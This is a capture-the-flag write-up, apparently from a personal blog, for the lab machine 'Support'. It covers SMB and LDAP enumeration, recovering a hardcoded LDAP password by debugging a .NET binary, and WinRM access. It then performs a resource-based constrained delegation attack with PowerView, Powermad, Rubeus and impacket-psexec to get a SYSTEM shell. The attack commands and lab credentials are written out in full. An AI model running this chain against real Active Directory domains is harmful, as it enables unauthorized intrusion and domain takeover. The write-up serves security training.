Support - 0xh3x

⚔

Challenge Mode

Hide the solution and attempt the box yourself first

Machine Name: Support
OS type: Windows
Difficulty: Easy

Support is an Easy difficulty Windows machine that features an SMB share that allows anonymous authentication. After connecting to the share, an executable file is discovered that is used to query the machine’s LDAP server for available users. Through reverse engineering, network analysis or emulation, the password that the binary uses to bind the LDAP server is identified and can be used to make further LDAP queries. A user called support is identified in the users list, and the info field is found to contain his password, thus allowing for a WinRM connection to the machine. Once on the machine, domain information can be gathered through SharpHound, and BloodHound reveals that the Shared Support Accounts group that the support user is a member of, has GenericAll privileges on the Domain Controller. A Resource Based Constrained Delegation attack is performed, and a shell as NT Authority\System is received.

Port Scanning - Service & Version Enumeration

# Nmap 7.94SVN scan initiated Sat Apr 12 05:11:36 2025 as: /usr/lib/nmap/nmap -sVC -p- --open -oN initial/nmap.out -vv 10.10.11.174
Nmap scan report for 10.10.11.174
Host is up, received echo-reply ttl 127 (0.46s latency).
Scanned at 2025-04-12 05:11:37 EDT for 1094s
Not shown: 65516 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-04-12 09:27:22Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack ttl 127
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack ttl 127
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49674/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49686/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49696/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49711/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 19493/tcp): CLEAN (Timeout)
|   Check 2 (port 12235/tcp): CLEAN (Timeout)
|   Check 3 (port 45724/udp): CLEAN (Timeout)
|   Check 4 (port 46124/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-time:
|   date: 2025-04-12T09:28:25
|_  start_date: N/A
|_clock-skew: -40s
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Apr 12 05:29:51 2025 -- 1 IP address (1 host up) scanned in 1094.89 seconds

Enumeration

Port 135/MSRPC

let’s check the if we have access to MSRPC service using rpcclient

we can login but we don’t have permissions to run commands, not so useful! moving on next service

Port 389,636/LDAP

let’s check the ldapsearch tool to see if we can run ldap queries without credentials

ldapsearch -H ldap://10.10.11.174 -x -s base namingcontexts

-x : basic authentication

-s for search scope here base and namingcontext will only give output of the DN (Distinguished Name) which we’ll use in next command to perform full search over domain using LDAP

ldapsearch -H ldap://10.10.11.174 -x -b "DC=support,DC=htb"

it says successful bind must be completed to perform the search so we need the credentials

Port 139,445/SMB

SMB is running on the machine let’s check for the Null session and anonymous login, let’s run the smbclient with options -L and -N

smbclient -L //10.10.11.174 -N

we found non-default share support-tools also machine name support suggest we might find something interesting here

smbclient //10.10.11.174/support-tools -N

no listing access to NETLOGON and SYSVOL shares

let’s download the all of the files from support-tools share using

prompt off

mget *

we found many application but the UserInfo.exe is seems interesting to us however strings command disappointed us 😟 no hardcoded passwords in the software, let’s use the DnSpy tool to decompile the exe and look into it’s code

download dnSpy from here → https://github.com/dnSpy/dnSpy/releases/download/v6.1.8/dnSpy-net-win64.zip

before reversing the exe let’s first try to execute it in windows cmd, launch cmd and run executable

it does requires some options (arguments) it is important to note we need to pass this arguments on the dnSpy

let’s try find command

UserInfo.exe -v find

it says -first or -last argument is required let’s provide -first and run the command

UserInfo.exe -v find -first Administrator

it shows server is not operational, it’s obivious as my windows machine not able to comunicate with support.htb as it tries to perform ldap query, also if we notice it doesn’t give us the error, there are two possibilities,

It didn’t connected to domain so it didn’t give us the error
password is hardcoded in the application’s code that use to query LDAP

now let’s load the UserInfo.exe to dnSpy

public LdapQuery()
    {
      string password = Protected.getPassword();
      this.entry = new DirectoryEntry("LDAP://support.htb", "support\\ldap", password);
      this.entry.AuthenticationType = AuthenticationTypes.Secure;
      this.ds = new DirectorySearcher(this.entry);
    }

we found that the LdapQuery() class perform ldap search also it uses the username support\ldap and the password which is stored in Protected Class getpassword(), click on the getPassword() it will go to the getPassword() class

using System;
using System.Text;

namespace UserInfo.Services
{
  // Token: 0x02000006 RID: 6
  internal class Protected
  {
    // Token: 0x0600000F RID: 15 RVA: 0x00002118 File Offset: 0x00000318
    public static string getPassword()
    {
      byte[] array = Convert.FromBase64String(Protected.enc_password);
      byte[] array2 = array;
      for (int i = 0; i < array.Length; i++)
      {
        array2[i] = (array[i] ^ Protected.key[i % Protected.key.Length] ^ 223);
      }
      return Encoding.Default.GetString(array2);
    }

    // Token: 0x04000005 RID: 5
    private static string enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E";

    // Token: 0x04000006 RID: 6
    private static byte[] key = Encoding.ASCII.GetBytes("armando");
  }
}

so it contains enc_password (encrypted password) and the key also the code that decrypts the password, now we have 2 ways here to get plaintext password here

Write a C# program with above logic and print the plaintext password at the end
if you don’t know C# just like me 😂, use breakpoints feature of the dnSpy to get plaintext password

let’s use the 2nd option go to LdapQuery Class from the left pane

then rightclick on 13th line which passing the ldap query with the password

click on Add Breakpoint

now click on ▶️ start button and specify the arguments we just add in the cmd -v find -first administrator

click OK to start debugging

it will automatically stop at the Breakpoint we’ve just created

and we got the password bingo!!, so we now know that this software uses the ldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz to perform LDAP query nice!, let’s quickly check if these are the valid creds or not

netexec smb 10.10.11.174 -u ldap -p nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz

yes it is the valid user, let’s enumerate users using netexec —users option

netexec ldap 10.10.11.174 -u ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' --users

let’s create a users.txt and put all users in it, what about password reuese!

nope.

let’s run bloodhoud-python as we have a valid credentials

bloodhound-python -c all -u ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -d support.htb -ns 10.10.11.174

we didn’t find anything useful from here, as we now have credentials let’s checkout the ldapsearch again

ldapsearch -H ldap://10.10.11.174 -b "DC=support,DC=htb" -D ldap@support.htb -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' '(objectClass=user)'

info field of the user support looks interesting, maybe it is the password for that user?, let’s verify it using netexec

netexec smb 10.10.11.174 -u support -p Ironside47pleasure40Watchful

let’s check if we have winrm access

netexec winrm 10.10.11.174 -u support -p Ironside47pleasure40Watchful

let’s login as support using evil-winrm

evil-winrm -i 10.10.11.174 -u support -p Ironside47pleasure40Watchful

** i can’t provide you the Bloodhound screenshots, as i’m facing issue in starting bloodhound **

analyzing the bloodhound data we found that support user has GenericAll on the computer object, so we can abuse resource-based constrained delegation

we’ll add the fake computer to domain, then we’ll act as DC to get TGT for Administrator from KDC, then we can use TGT to impersonate the Administrator user

we need three scripts/tools for this attack:

let’s upload this three tools using winpeas upload feature

now import the both modules to powershell using Import-Module cmdlet

great now let’s create the new machine account under our control

New-MachineAccount -MachineAccount HackerPC -Password $(ConvertTo-SecureString 'Hacker@123!' -AsPlainText -Force)

get the SID of the Computer we’ve just created, and store it to variable

$hacksid = Get-DomainComputer attackersystem -Properties objectsid | Select -Expand objectsid

now we successfully created fake computer in the domain, now we need to configure DC to trust this computer to act as the DC (work on behalf of real DC)

Evil-WinRM PS C:\Users\support\Documents> $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($hacksid))"
*Evil-WinRM* PS C:\Users\support\Documents> $SDBytes = New-Object byte[] ($SD.BinaryLength)
*Evil-WinRM* PS C:\Users\support\Documents> $SD.GetBinaryForm($SDBytes, 0)
*Evil-WinRM* PS C:\Users\support\Documents> Get-DomainComputer dc.support.htb | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

now we need to verify if our new ACL has been applied

*Evil-WinRM* PS C:\Users\support\Documents> $RawBytes = Get-DomainComputer dc.support.htb -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity
*Evil-WinRM* PS C:\Users\support\Documents> $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0
*Evil-WinRM* PS C:\Users\support\Documents> $Descriptor.DiscretionaryAcl

we can see that AceType AccessAllowed and SecurityIdentifier of Fake Computer mentioned here

next we’ll request the machine account’s NTLM hash using Rubeus.exe

.\Rubeus.exe hash /password:Hacker@123! /user:HackerPC /domain:support.htb

we need rc4_hmac hash

.\Rubeus.exe s4u /user:HackerPC$ /rc4:B346BAC70D2B764F171C75A3BE96D648 /impersonateuser:administrator /msdsspn:cifs/dc.support.htb /ptt

our ticket is exported in the current session we can check it using

.\Rebeus.exe klist

however it is not working, let’s use it from the our kali machine

let’s use this ticket in our kali to get shell first we’ll copy the base64 encoded ticket to our kali machine, remove spaces and new line characters using mousepad or any other text editor then decode the base64 encoded ticket.kirbi and save it to administrator.ccache and then export it to KRB5CCNAME env variable and use impacket-psexec to get shell as administrator, let’s see how to do it

first copy the encoded ticket to kali

copy marked part only and paste it to ticket.kirbi in kali and clear it

after clearing all the unwanted spaces and new lines it will look like above screenshot, then convert it to ccache using impacket-ticketConverter to check if it is not corrupted use base64 -d ticket.kribi and see if it clears the screen and includes the SPN that we’ve specified in the Rubeus command

impacket-ticketConverter ticket administrator.ccache

now run following command to export KRB5CCNAME which required by the kerberos in linux to authenticate

KRB5CCNAME=administrator.ccache impacket-psexec support.htb/administrator@dc.support.htb -k -no-pass

Make sure you have added support.htb and dc.support.htb in /etc/hosts file

# Support

Port Scanning - Service & Version Enumeration

Enumeration

Port 135/MSRPC

Port 389,636/LDAP

Port 139,445/SMB

# Cicada

# Devvortex

# Irked

# OpenAdmin